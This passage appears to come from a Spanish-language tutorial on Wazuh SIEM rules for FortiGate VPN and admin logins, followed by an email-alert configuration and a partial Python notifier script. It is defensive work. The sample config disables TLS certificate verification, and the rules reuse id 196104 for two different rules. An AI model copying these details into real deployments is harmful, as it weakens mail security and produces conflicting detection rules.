    <span class="hljs-tag">&lt;<span class="hljs-name">weekday</span>&gt;</span>monday,tuesday,wednesday,thursday,friday<span class="hljs-tag">&lt;/<span class="hljs-name">weekday</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">description</span>&gt;</span>FGT: VPN connection outside business hours (19:00-06:00) - $(user)<span class="hljs-tag">&lt;/<span class="hljs-name">description</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">mitre</span>&gt;</span>
      <span class="hljs-tag">&lt;<span class="hljs-name">id</span>&gt;</span>T1078<span class="hljs-tag">&lt;/<span class="hljs-name">id</span>&gt;</span>
      <span class="hljs-tag">&lt;<span class="hljs-name">id</span>&gt;</span>T1133<span class="hljs-tag">&lt;/<span class="hljs-name">id</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">mitre</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">group</span>&gt;</span>fortigate_vpn_after_hours<span class="hljs-tag">&lt;/<span class="hljs-name">group</span>&gt;</span>
  <span class="hljs-tag">&lt;/<span class="hljs-name">rule</span>&gt;</span>

  <span class="hljs-comment">&lt;!-- Regla específica: VPN fuera de horario de USUARIOS MONITOREADOS (nivel alto, CON email) --&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">rule</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"196104"</span> <span class="hljs-attr">level</span>=<span class="hljs-string">"8"</span> <span class="hljs-attr">ignore</span>=<span class="hljs-string">"60"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">if_sid</span>&gt;</span>196102<span class="hljs-tag">&lt;/<span class="hljs-name">if_sid</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">list</span> <span class="hljs-attr">field</span>=<span class="hljs-string">"user"</span> <span class="hljs-attr">lookup</span>=<span class="hljs-string">"match_key"</span>&gt;</span>etc/lists/vpn-monitored-users<span class="hljs-tag">&lt;/<span class="hljs-name">list</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">description</span>&gt;</span>FGT VPN: Usuario monitoreado $(user) conectado fuera de horario laboral<span class="hljs-tag">&lt;/<span class="hljs-name">description</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">mitre</span>&gt;</span>
      <span class="hljs-tag">&lt;<span class="hljs-name">id</span>&gt;</span>T1078<span class="hljs-tag">&lt;/<span class="hljs-name">id</span>&gt;</span>
      <span class="hljs-tag">&lt;<span class="hljs-name">id</span>&gt;</span>T1133<span class="hljs-tag">&lt;/<span class="hljs-name">id</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">mitre</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">group</span>&gt;</span>fortigate_vpn_suspicious,after_hours,monitored_user<span class="hljs-tag">&lt;/<span class="hljs-name">group</span>&gt;</span>
  <span class="hljs-tag">&lt;/<span class="hljs-name">rule</span>&gt;</span>

  <span class="hljs-comment">&lt;!-- ========== VPN FIN DE SEMANA ========== --&gt;</span>

  <span class="hljs-comment">&lt;!-- Regla base: VPN fin de semana (TODOS los usuarios, nivel bajo, sin email) --&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">rule</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"196103"</span> <span class="hljs-attr">level</span>=<span class="hljs-string">"5"</span> <span class="hljs-attr">ignore</span>=<span class="hljs-string">"60"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">if_sid</span>&gt;</span>81622<span class="hljs-tag">&lt;/<span class="hljs-name">if_sid</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">weekday</span>&gt;</span>saturday,sunday<span class="hljs-tag">&lt;/<span class="hljs-name">weekday</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">description</span>&gt;</span>FGT: VPN connection during weekend - $(user)<span class="hljs-tag">&lt;/<span class="hljs-name">description</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">mitre</span>&gt;</span>
      <span class="hljs-tag">&lt;<span class="hljs-name">id</span>&gt;</span>T1078<span class="hljs-tag">&lt;/<span class="hljs-name">id</span>&gt;</span>
      <span class="hljs-tag">&lt;<span class="hljs-name">id</span>&gt;</span>T1133<span class="hljs-tag">&lt;/<span class="hljs-name">id</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">mitre</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">group</span>&gt;</span>fortigate_vpn_weekend<span class="hljs-tag">&lt;/<span class="hljs-name">group</span>&gt;</span>
  <span class="hljs-tag">&lt;/<span class="hljs-name">rule</span>&gt;</span>

  <span class="hljs-comment">&lt;!-- Regla específica: VPN fin de semana de USUARIOS MONITOREADOS (nivel alto, CON email) --&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">rule</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"196105"</span> <span class="hljs-attr">level</span>=<span class="hljs-string">"7"</span> <span class="hljs-attr">ignore</span>=<span class="hljs-string">"60"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">if_sid</span>&gt;</span>196103<span class="hljs-tag">&lt;/<span class="hljs-name">if_sid</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">list</span> <span class="hljs-attr">field</span>=<span class="hljs-string">"user"</span> <span class="hljs-attr">lookup</span>=<span class="hljs-string">"match_key"</span>&gt;</span>etc/lists/vpn-monitored-users<span class="hljs-tag">&lt;/<span class="hljs-name">list</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">description</span>&gt;</span>FGT VPN: Usuario monitoreado $(user) conectado en fin de semana<span class="hljs-tag">&lt;/<span class="hljs-name">description</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">mitre</span>&gt;</span>
      <span class="hljs-tag">&lt;<span class="hljs-name">id</span>&gt;</span>T1078<span class="hljs-tag">&lt;/<span class="hljs-name">id</span>&gt;</span>
      <span class="hljs-tag">&lt;<span class="hljs-name">id</span>&gt;</span>T1133<span class="hljs-tag">&lt;/<span class="hljs-name">id</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">mitre</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">group</span>&gt;</span>fortigate_vpn_weekend,monitored_user<span class="hljs-tag">&lt;/<span class="hljs-name">group</span>&gt;</span>
  <span class="hljs-tag">&lt;/<span class="hljs-name">rule</span>&gt;</span>

  <span class="hljs-comment">&lt;!-- Múltiples IPs diferentes para mismo usuario --&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">rule</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"196104"</span> <span class="hljs-attr">level</span>=<span class="hljs-string">"11"</span> <span class="hljs-attr">frequency</span>=<span class="hljs-string">"3"</span> <span class="hljs-attr">timeframe</span>=<span class="hljs-string">"3600"</span> <span class="hljs-attr">ignore</span>=<span class="hljs-string">"300"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">if_matched_sid</span>&gt;</span>81622<span class="hljs-tag">&lt;/<span class="hljs-name">if_matched_sid</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">same_user</span> /&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">not_same_source_ip</span> /&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">description</span>&gt;</span>FGT: VPN user connecting from multiple IPs (possible account compromise)<span class="hljs-tag">&lt;/<span class="hljs-name">description</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">mitre</span>&gt;</span>
      <span class="hljs-tag">&lt;<span class="hljs-name">id</span>&gt;</span>T1078<span class="hljs-tag">&lt;/<span class="hljs-name">id</span>&gt;</span>
      <span class="hljs-tag">&lt;<span class="hljs-name">id</span>&gt;</span>T1090<span class="hljs-tag">&lt;/<span class="hljs-name">id</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">mitre</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">group</span>&gt;</span>fortigate_vpn_multiple_ips,critical<span class="hljs-tag">&lt;/<span class="hljs-name">group</span>&gt;</span>
  <span class="hljs-tag">&lt;/<span class="hljs-name">rule</span>&gt;</span>

  <span class="hljs-comment">&lt;!-- VPN desde país restringido  --&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">rule</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"196112"</span> <span class="hljs-attr">level</span>=<span class="hljs-string">"11"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">if_sid</span>&gt;</span>81622<span class="hljs-tag">&lt;/<span class="hljs-name">if_sid</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">match</span>&gt;</span>srccountry="China"|srccountry="Russia"|srccountry="Iran"|srccountry="North Korea"<span class="hljs-tag">&lt;/<span class="hljs-name">match</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">description</span>&gt;</span>FGT: VPN connection from restricted country (BLOCKED)<span class="hljs-tag">&lt;/<span class="hljs-name">description</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">mitre</span>&gt;</span>
      <span class="hljs-tag">&lt;<span class="hljs-name">id</span>&gt;</span>T1133<span class="hljs-tag">&lt;/<span class="hljs-name">id</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">mitre</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">group</span>&gt;</span>fortigate_geo_blocked,critical<span class="hljs-tag">&lt;/<span class="hljs-name">group</span>&gt;</span>
  <span class="hljs-tag">&lt;/<span class="hljs-name">rule</span>&gt;</span>

  <span class="hljs-comment">&lt;!-- Usuario admin fuera de horario --&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">rule</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"196113"</span> <span class="hljs-attr">level</span>=<span class="hljs-string">"12"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">if_sid</span>&gt;</span>81605<span class="hljs-tag">&lt;/<span class="hljs-name">if_sid</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">user</span>&gt;</span>^admin$<span class="hljs-tag">&lt;/<span class="hljs-name">user</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">time</span>&gt;</span>6:00 pm - 8:00 am<span class="hljs-tag">&lt;/<span class="hljs-name">time</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">description</span>&gt;</span>FGT: Admin account login outside business hours<span class="hljs-tag">&lt;/<span class="hljs-name">description</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">mitre</span>&gt;</span>
      <span class="hljs-tag">&lt;<span class="hljs-name">id</span>&gt;</span>T1078.003<span class="hljs-tag">&lt;/<span class="hljs-name">id</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">mitre</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">group</span>&gt;</span>fortigate_admin_after_hours,critical<span class="hljs-tag">&lt;/<span class="hljs-name">group</span>&gt;</span>
  <span class="hljs-tag">&lt;/<span class="hljs-name">rule</span>&gt;</span>

<span class="hljs-tag">&lt;/<span class="hljs-name">group</span>&gt;</span>
</code></pre>
<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text">En las reglas de VPN de horario y Fin de Semana, utilizo una lista con usuarios a revisar para que solo me avise lo importante. La lista esta en <strong>etc/lists/vpn-monitored-users</strong>.</div>
</div>

<p>Perfecto, ya tenemos las listas. Como les dije antes, vamos a reinciar Wazuh Manager para saber si tenemos problemas de sintaxis.</p>
<pre><code class="lang-bash">sudo systemctl restart wazuh-manager
</code></pre>
<p>Tambien podes usar el siguiente comando.</p>
<pre><code class="lang-bash">sudo apt-get install libxml2-utils    
xmllint --noout /var/ossec/etc/ossec.conf
</code></pre>
<h3 id="heading-integracion-con-email">Integracion con Email</h3>
<p>Para que nos lleguen esos bellos correos vamos a crear un script en Python que sera referenciado en el <code>ossec.conf</code>.</p>
<pre><code class="lang-bash">{
  <span class="hljs-string">"smtp_host"</span>: <span class="hljs-string">"HOST"</span>,
  <span class="hljs-string">"smtp_port"</span>: 587,
  <span class="hljs-string">"use_tls"</span>: <span class="hljs-literal">true</span>,
  <span class="hljs-string">"username"</span>: <span class="hljs-string">"wazuh"</span>,
  <span class="hljs-string">"password"</span>: <span class="hljs-string">"TUPASSWORD"</span>,
  <span class="hljs-string">"from"</span>: <span class="hljs-string">"Wazuh SIEM &lt;wazuh@TUDOMINIO&gt;"</span>,
  <span class="hljs-string">"to"</span>: [
    <span class="hljs-string">"alertas_wazuh@TUDOMINIO"</span>,
    <span class="hljs-string">"sfernandez@TUDOMINIO"</span>
  ],
  <span class="hljs-string">"subject_prefix"</span>: <span class="hljs-string">"[Wazuh SIEM]"</span>,
  <span class="hljs-string">"insecure_skip_verify"</span>: <span class="hljs-literal">true</span>,
  <span class="hljs-string">"geoip_db"</span>: <span class="hljs-string">"/usr/share/GeoIP/dbip-city-lite.mmdb"</span> <span class="hljs-comment"># Geo</span>
}
</code></pre>
<blockquote>
<p>Hay que instalar la GeoLocalizacion si desean. Si no eliminarlo.</p>
</blockquote>
<p>Le damos los permisos.</p>
<pre><code class="lang-bash">sudo chown root:wazuh /var/ossec/etc/email-config.json
sudo chmod 640 /var/ossec/etc/email-config.json
</code></pre>
<p>Ahora vamos a crear el Python que hara la magia en la ruta <code>/var/ossec/integrations</code>. Yo lo voy a llamar <code>custom-email</code>.</p>
<pre><code class="lang-python"><span class="hljs-comment">#!/usr/bin/env python3</span>
<span class="hljs-string">"""
Wazuh Unified Email Notifier v4.0
- Maneja Active Directory (reglas 100080-100085 y 60107-60113)
- Maneja FortiGate VPN/Admin (reglas 196100-196113)
- Maneja FortiGate IPS (reglas 196200-196231)
- Template HTML unificado y profesional
- GeoIP integrado
- Logging mejorado
- Configuración centralizada
"""</span>

<span class="hljs-keyword">import</span> sys, json, smtplib, ssl, pathlib, html, logging, re, os
<span class="hljs-keyword">from</span> datetime <span class="hljs-keyword">import</span> datetime
<span class="hljs-keyword">from</span> email.mime.multipart <span class="hljs-keyword">import</span> MIMEMultipart
<span class="hljs-keyword">from</span> email.mime.text <span class="hljs-keyword">import</span> MIMEText
<span class="hljs-keyword">from</span> email.header <span class="hljs-keyword">import</span> Header
<span class="hljs-keyword">from</span> typing <span class="hljs-keyword">import</span> Dict, Any, Tuple, Optional

<span class="hljs-comment"># GeoIP opcional</span>
<span class="hljs-keyword">try</span>:
    <span class="hljs-keyword">import</span> geoip2.database
    HAS_GEOIP = <span class="hljs-literal">True</span>
<span class="hljs-keyword">except</span> ImportError:
    HAS_GEOIP = <span class="hljs-literal">False</span>

<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">UnifiedEmailNotifier</span>:</span>
    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">__init__</span>(<span class="hljs-params">self, config_path: str</span>):</span>
        self.config = self._load_config(config_path)
        self._setup_logging()

        <span class="hljs-comment"># Grupos privilegiados de AD</span>
        self.privileged_groups = {
            <span class="hljs-string">"Domain Admins"</span>, <span class="hljs-string">"Enterprise Admins"</span>, <span class="hljs-string">"Administrators"</span>, <span class="hljs-string">"Schema Admins"</span>,
            <span class="hljs-string">"Account Operators"</span>, <span class="hljs-string">"Server Operators"</span>, <span class="hljs-string">"Backup Operators"</span>, <span class="hljs-string">"Print Operators"</span>,
            <span class="hljs-string">"DnsAdmins"</span>, <span class="hljs-string">"Domain Controllers"</span>, <span class="hljs-string">"Enterprise Key Admins"</span>, <span class="hljs-string">"Key Admins"</span>,
            <span class="hljs-string">"Cert Publishers"</span>, <span class="hljs-string">"Group Policy Creator Owners"</span>, <span class="hljs-string">"RAS and IAS Servers"</span>
        }

        <span class="hljs-comment"># Países de alto riesgo (ajustar según política organizacional)</span>
        self.high_risk_countries = {
            <span class="hljs-string">'China'</span>, <span class="hljs-string">'Russia'</span>, <span class="hljs-string">'North Korea'</span>, <span class="hljs-string">'Iran'</span>, <span class="hljs-string">'Vietnam'</span>, <span class="hljs-string">'Nigeria'</span>,
            <span class="hljs-string">'Romania'</span>, <span class="hljs-string">'Ukraine'</span>, <span class="hljs-string">'Belarus'</span>, <span class="hljs-string">'Myanmar'</span>, <span class="hljs-string">'Pakistan'</span>
        }

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">_setup_logging</span>(<span class="hljs-params">self</span>):</span>
        <span class="hljs-string">"""Configurar logging con rotación"""</span>
        log_file = self.config.get(<span class="hljs-string">"log_file"</span>, <span class="hljs-string">"/var/ossec/logs/integrations.log"</span>)

        handlers = [logging.StreamHandler(sys.stderr)]
        <span class="hljs-keyword">if</span> log_file <span class="hljs-keyword">and</span> os.path.dirname(log_file):
            <span class="hljs-keyword">try</span>:
                os.makedirs(os.path.dirname(log_file), exist_ok=<span class="hljs-literal">True</span>)
                file_handler = logging.FileHandler(log_file)
                file_handler.setFormatter(logging.Formatter(
                    <span class="hljs-string">"%(asctime)s - %(name)s - %(levelname)s - %(message)s"</span>
                ))
                handlers.append(file_handler)
            <span class="hljs-keyword">except</span> Exception:
                <span class="hljs-keyword">pass</span>

        logging.basicConfig(
            level=getattr(logging, self.config.get(<span class="hljs-string">"log_level"</span>, <span class="hljs-string">"INFO"</span>).upper()),
            format=<span class="hljs-string">"%(asctime)s - %(levelname)s - %(message)s"</span>,
            handlers=handlers
        )
        self.logger = logging.getLogger(<span class="hljs-string">"unified-email-notifier"</span>)

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">_load_config</span>(<span class="hljs-params">self, config_path: str</span>) -&gt; Dict[str, Any]:</span>
        <span class="hljs-string">"""Cargar configuración con validación"""</span>
        <span class="hljs-keyword">try</span>:
            cfg = json.loads(pathlib.Path(config_path).read_text(encoding=<span class="hljs-string">"utf-8"</span>))

            required_fields = [<span class="hljs-string">"smtp_host"</span>, <span class="hljs-string">"to"</span>]
            <span class="hljs-keyword">for</span> field <span class="hljs-keyword">in</span> required_fields:
                <span class="hljs-keyword">if</span> field <span class="hljs-keyword">not</span> <span class="hljs-keyword">in</span> cfg:
                    <span class="hljs-keyword">raise</span> ValueError(<span class="hljs-string">f"Campo requerido '<span class="hljs-subst">{field}</span>' faltante en configuración"</span>)

            cfg.setdefault(<span class="hljs-string">"smtp_port"</span>, <span class="hljs-number">587</span>)
            cfg.setdefault(<span class="hljs-string">"use_tls"</span>, <span class="hljs-literal">True</span>)
            cfg.setdefault(<span class="hljs-string">"from"</span>, <span class="hljs-string">"wazuh@localhost"</span>)
            cfg.setdefault(<span class="hljs-string">"subject_prefix"</span>, <span class="hljs-string">"[Wazuh SIEM]"</span>)
            cfg.setdefault(<span class="hljs-string">"timeout"</span>, <span class="hljs-number">30</span>)
            cfg.setdefault(<span class="hljs-string">"log_level"</span>, <span class="hljs-string">"INFO"</span>)

            <span class="hljs-keyword">return</span> cfg
        <span class="hljs-keyword">except</span> Exception <span class="hljs-keyword">as</span> e:
            <span class="hljs-keyword">raise</span> RuntimeError(<span class="hljs-string">f"Error cargando configuración <span class="hljs-subst">{config_path}</span>: <span class="hljs-subst">{e}</span>"</span>)

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">_load_alert</span>(<span class="hljs-params">self, file_path: str</span>) -&gt; Dict[str, Any]:</span>
        <span class="hljs-string">"""Cargar alerta de Wazuh con manejo robusto de errores"""</span>
        <span class="hljs-keyword">try</span>:
            <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> pathlib.Path(file_path).exists():
                <span class="hljs-keyword">raise</span> FileNotFoundError(<span class="hljs-string">f"Archivo de alerta no encontrado: <span class="hljs-subst">{file_path}</span>"</span>)

            raw = pathlib.Path(file_path).read_text(encoding=<span class="hljs-string">"utf-8"</span>, errors=<span class="hljs-string">"ignore"</span>).strip()
            <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> raw:
                <span class="hljs-keyword">raise</span> ValueError(<span class="hljs-string">"Archivo de alerta vacío"</span>)

            candidates = []
            <span class="hljs-keyword">if</span> raw.startswith(<span class="hljs-string">"{"</span>):
                candidates.append(raw)
            <span class="hljs-keyword">else</span>:
                <span class="hljs-keyword">for</span> line <span class="hljs-keyword">in</span> raw.splitlines():
                    line = line.strip()
                    <span class="hljs-keyword">if</span> line.startswith(<span class="hljs-string">"{"</span>) <span class="hljs-keyword">and</span> line.endswith(<span class="hljs-string">"}"</span>):
                        candidates.append(line)

            <span class="hljs-keyword">for</span> candidate <span class="hljs-keyword">in</span> reversed(candidates):
                <span class="hljs-keyword">try</span>:
                    <span class="hljs-keyword">return</span> json.loads(candidate)
                <span class="hljs-keyword">except</span> json.JSONDecodeError:
                    <span class="hljs-keyword">continue</span>

            <span class="hljs-keyword">raise</span> ValueError(<span class="hljs-string">"No se encontró JSON válido en el archivo de alerta"</span>)

        <span class="hljs-keyword">except</span> Exception <span class="hljs-keyword">as</span> e:
            <span class="hljs-keyword">raise</span> RuntimeError(<span class="hljs-string">f"Error cargando alerta <span class="hljs-subst">{file_path}</span>: <span class="hljs-subst">{e}</span>"</span>)

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">_get_field</span>(<span class="hljs-params">self, data: Dict[str, Any], *paths: str, default: str = <span class="hljs-string">"-"</span></span>) -&gt; str:</span>
        <span class="hljs-string">"""Buscar campo en múltiples rutas con tolerancia a casos"""</span>
        <span class="hljs-keyword">for</span> path <span class="hljs-keyword">in</span> paths:
            current = data
            found = <span class="hljs-literal">True</span>

            <span class="hljs-keyword">for</span> key <span class="hljs-keyword">in</span> path.split(<span class="hljs-string">"."</span>):
                <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> isinstance(current, dict):
                    found = <span class="hljs-literal">False</span>
                    <span class="hljs-keyword">break</span>

                possible_keys = [key, key.lower(), key.capitalize(), key.upper()]
                matched_key = <span class="hljs-literal">None</span>

                <span class="hljs-keyword">for</span> possible_key <span class="hljs-keyword">in</span> possible_keys:
                    <span class="hljs-keyword">if</span> possible_key <span class="hljs-keyword">in</span> current:
                        matched_key = possible_key
                        <span class="hljs-keyword">break</span>

                <span class="hljs-keyword">if</span> matched_key <span class="hljs-keyword">is</span> <span class="hljs-literal">None</span>:
                    found = <span class="hljs-literal">False</span>
                    <span class="hljs-keyword">break</span>

                current = current[matched_key]

            <span class="hljs-keyword">if</span> found <span class="hljs-keyword">and</span> current <span class="hljs-keyword">is</span> <span class="hljs-keyword">not</span> <span class="hljs-literal">None</span>:
                <span class="hljs-keyword">return</span> str(current).strip()

        <span class="hljs-keyword">return</span> default

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">_format_timestamp</span>(<span class="hljs-params">self, ts: str</span>) -&gt; str:</span>
        <span class="hljs-string">"""Formatear timestamp de manera consistente"""</span>
        <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> ts <span class="hljs-keyword">or</span> ts == <span class="hljs-string">"-"</span>:
            <span class="hljs-keyword">return</span> <span class="hljs-string">"-"</span>

        <span class="hljs-keyword">try</span>:
            <span class="hljs-keyword">if</span> <span class="hljs-string">"T"</span> <span class="hljs-keyword">in</span> ts:
                <span class="hljs-keyword">if</span> ts.endswith(<span class="hljs-string">"Z"</span>):
                    dt = datetime.fromisoformat(ts.replace(<span class="hljs-string">"Z"</span>, <span class="hljs-string">"+00:00"</span>))
                <span class="hljs-keyword">else</span>:
                    dt = datetime.fromisoformat(ts)
                <span class="hljs-keyword">return</span> dt.strftime(<span class="hljs-string">"%d/%m/%Y %H:%M:%S"</span>)
            <span class="hljs-keyword">else</span>:
                <span class="hljs-keyword">for</span> fmt <span class="hljs-keyword">in</span> [<span class="hljs-string">"%Y-%m-%d %H:%M:%S"</span>, <span class="hljs-string">"%d/%m/%Y %H:%M:%S"</span>]:
                    <span class="hljs-keyword">try</span>:
                        dt = datetime.strptime(ts, fmt)
                        <span class="hljs-keyword">return</span> dt.strftime(<span class="hljs-string">"%d/%m/%Y %H:%M:%S"</span>)
                    <span class="hljs-keyword">except</span> ValueError:
                        <span class="hljs-keyword">continue</span>
        <span class="hljs-keyword">except</span> Exception:
            <span class="hljs-keyword">pass</span>

        <span class="hljs-keyword">return</span> ts

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">_create_badge</span>(<span class="hljs-params">self, text: str, style: str = <span class="hljs-string">"default"</span></span>) -&gt; str:</span>
        <span class="hljs-string">"""Crear badges HTML con estilos predefinidos"""</span>
        styles = {
            <span class="hljs-string">"default"</span>: {<span class="hljs-string">"bg"</span>: <span class="hljs-string">"#f1f5f9"</span>, <span class="hljs-string">"fg"</span>: <span class="hljs-string">"#334155"</span>, <span class="hljs-string">"border"</span>: <span class="hljs-string">"#e2e8f0"</span>},
            <span class="hljs-string">"success"</span>: {<span class="hljs-string">"bg"</span>: <span class="hljs-string">"#dcfce7"</span>, <span class="hljs-string">"fg"</span>: <span class="hljs-string">"#166534"</span>, <span class="hljs-string">"border"</span>: <span class="hljs-string">"#bbf7d0"</span>},
            <span class="hljs-string">"warning"</span>: {<span class="hljs-string">"bg"</span>: <span class="hljs-string">"#fef3c7"</span>, <span class="hljs-string">"fg"</span>: <span class="hljs-string">"#92400e"</span>, <span class="hljs-string">"border"</span>: <span class="hljs-string">"#fde68a"</span>},
            <span class="hljs-string">"danger"</span>: {<span class="hljs-string">"bg"</span>: <span class="hljs-string">"#fee2e2"</span>, <span class="hljs-string">"fg"</span>: <span class="hljs-string">"#7f1d1d"</span>, <span class="hljs-string">"border"</span>: <span class="hljs-string">"#fecaca"</span>},
            <span class="hljs-string">"info"</span>: {<span class="hljs-string">"bg"</span>: <span class="hljs-string">"#dbeafe"</span>, <span class="hljs-string">"fg"</span>: <span class="hljs-string">"#1e40af"</span>, <span class="hljs-string">"border"</span>: <span class="hljs-string">"#93c5fd"</span>},
            <span class="hljs-string">"critical"</span>: {<span class="hljs-string">"bg"</span>: <span class="hljs-string">"#7f1d1d"</span>, <span class="hljs-string">"fg"</span>: <span class="hljs-string">"#ffffff"</span>, <span class="hljs-string">"border"</span>: <span class="hljs-string">"#991b1b"</span>},
            <span class="hljs-string">"geo"</span>: {<span class="hljs-string">"bg"</span>: <span class="hljs-string">"#ecfeff"</span>, <span class="hljs-string">"fg"</span>: <span class="hljs-string">"#0c4a6e"</span>, <span class="hljs-string">"border"</span>: <span class="hljs-string">"#7dd3fc"</span>},
            <span class="hljs-string">"geo-risk"</span>: {<span class="hljs-string">"bg"</span>: <span class="hljs-string">"#fee2e2"</span>, <span class="hljs-string">"fg"</span>: <span class="hljs-string">"#7f1d1d"</span>, <span class="hljs-string">"border"</span>: <span class="hljs-string">"#fca5a5"</span>}
        }

        style_config = styles.get(style, styles[<span class="hljs-string">"default"</span>])

        <span class="hljs-keyword">return</span> (<span class="hljs-string">f"&lt;span style='display:inline-block;padding:4px 12px;border-radius:16px;"</span>
                <span class="hljs-string">f"background:<span class="hljs-subst">{style_config[<span class="hljs-string">'bg'</span>]}</span>;color:<span class="hljs-subst">{style_config[<span class="hljs-string">'fg'</span>]}</span>;"</span>
                <span class="hljs-string">f"border:1px solid <span class="hljs-subst">{style_config[<span class="hljs-string">'border'</span>]}</span>;"</span>
                <span class="hljs-string">f"font:bold 11px/14px Segoe UI,Roboto,Arial,sans-serif;"</span>
                <span class="hljs-string">f"text-transform:uppercase;letter-spacing:0.5px;white-space:nowrap;'&gt;"</span>
                <span class="hljs-string">f"<span class="hljs-subst">{html.escape(str(text))}</span>&lt;/span&gt;"</span>)

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">_get_country_flag</span>(<span class="hljs-params">self, iso_code: str</span>) -&gt; str:</span>
        <span class="hljs-string">"""Convertir código ISO a emoji de bandera"""</span>
        <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> iso_code <span class="hljs-keyword">or</span> len(iso_code) != <span class="hljs-number">2</span>:
            <span class="hljs-keyword">return</span> <span class="hljs-string">""</span>
        <span class="hljs-keyword">try</span>:
            <span class="hljs-keyword">return</span> <span class="hljs-string">""</span>.join(chr(<span class="hljs-number">0x1F1E6</span> + ord(char) - <span class="hljs-number">65</span>) <span class="hljs-keyword">for</span> char <span class="hljs-keyword">in</span> iso_code.upper())
        <span class="hljs-keyword">except</span> Exception:
            <span class="hljs-keyword">return</span> <span class="hljs-string">""</span>

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">_get_geoip_info</span>(<span class="hljs-params">self, ip: str</span>) -&gt; Dict[str, Any]:</span>
        <span class="hljs-string">"""Obtener información GeoIP con múltiples bases de datos"""</span>
        <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> ip <span class="hljs-keyword">or</span> <span class="hljs-keyword">not</span> HAS_GEOIP:
            <span class="hljs-keyword">return</span> {}

        db_paths = [
            self.config.get(<span class="hljs-string">"geoip_db"</span>, <span class="hljs-string">""</span>),
            <span class="hljs-string">"/var/ossec/etc/GeoIP/GeoLite2-City.mmdb"</span>,
            <span class="hljs-string">"/var/ossec/etc/GeoLite2-City.mmdb"</span>,
            <span class="hljs-string">"/usr/share/GeoIP/GeoLite2-City.mmdb"</span>,
            <span class="hljs-string">"/usr/share/GeoIP/dbip-city-lite.mmdb"</span>,
            <span class="hljs-string">"/opt/geoip/GeoLite2-City.mmdb"</span>
        ]

        <span class="hljs-keyword">for</span> db_path <span class="hljs-keyword">in</span> db_paths:
